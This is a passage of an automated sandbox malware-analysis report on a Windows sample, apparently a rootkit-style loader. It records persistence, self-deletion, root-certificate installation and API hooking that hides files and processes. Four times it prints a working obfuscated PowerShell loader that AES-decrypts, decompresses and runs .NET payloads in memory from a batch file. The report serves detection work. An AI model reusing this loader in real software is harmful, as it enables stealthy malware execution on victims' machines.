Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000019.00000002.2281104121.000001ADEC04C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095093033.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wmsetup.log.pdb source: svchost.exe, 00000019.00000002.2281104121.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095161886.000001ADEC042000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000019.00000002.2278957605.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000000.2095093033.000001ADEC02B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000019.00000000.2095214528.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000019.00000002.2283406583.000001ADEC05C000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Suspicious command line found

Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Users\user\Desktop\x.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Users\user\Desktop\x.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior

Source: IfMUlU.exe.28.dr

Static PE information: 0xA8D14247 [Thu Oct 2 02:11:19 2059 UTC]

Source: C:\Windows\System32\winlogon.exe

Code function: 9_2_00000225DC641E3C LoadLibraryA,GetProcAddress,SleepEx,

9_2_00000225DC641E3C

Source: C:\Windows\System32\winlogon.exe	Code function: 9_3_00000225DC62A7DD push rcx; retf 003Fh	9_3_00000225DC62A7DE
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000202C0ACA7DD push rcx; retf 003Fh	10_3_00000202C0ACA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_000002A6612EA7DD push rcx; retf 003Fh	11_3_000002A6612EA7DE
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAF1AA7DD push rcx; retf 003Fh	14_3_000002BAAF1AA7DE
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAEDEA7DD push rcx; retf 003Fh	14_3_000002BAAEDEA7DE
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAEE4A7DD push rcx; retf 003Fh	14_3_000002BAAEE4A7DE
Source: C:\Windows\System32\cmd.exe	Code function: 15_3_000002512A6CA7DD push rcx; retf 003Fh	15_3_000002512A6CA7DE
Source: C:\Windows\System32\conhost.exe	Code function: 16_3_000001BEB0A1A7DD push rcx; retf 003Fh	16_3_000001BEB0A1A7DE
Source: C:\Windows\System32\svchost.exe	Code function: 20_3_0000026A879AA7DD push rcx; retf 003Fh	20_3_0000026A879AA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 21_3_000001795378A7DD push rcx; retf 003Fh	21_3_000001795378A7DE
Source: C:\Windows\System32\svchost.exe	Code function: 22_3_000002295D54A7DD push rcx; retf 003Fh	22_3_000002295D54A7DE
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000253067EA7DD push rcx; retf 003Fh	23_3_00000253067EA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 24_3_000001845B3AA7DD push rcx; retf 003Fh	24_3_000001845B3AA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 25_3_000001ADEBFEA7DD push rcx; retf 003Fh	25_3_000001ADEBFEA7DE
Source: C:\Windows\System32\svchost.exe	Code function: 26_3_000001D55905A7DD push rcx; retf 003Fh	26_3_000001D55905A7DE
Source: C:\Windows\System32\svchost.exe	Code function: 29_3_00000241A9E8A7DD push rcx; retf 003Fh	29_3_00000241A9E8A7DE
Source: C:\Windows\System32\svchost.exe	Code function: 30_3_000001CD7317A7DD push rcx; retf 003Fh	30_3_000001CD7317A7DE

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: unknown

Executable created and started: C:\Windows\$nya-onimai2\IfMUlU.exe

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\$nya-onimai2\IfMUlU.exe

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\$nya-onimai2\IfMUlU.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\System32\Tasks\$nya-SgIauazY

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: c:\users\user\desktop\x.bat

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier read attributes | delete

Jump to behavior

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE $nya-dll32

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
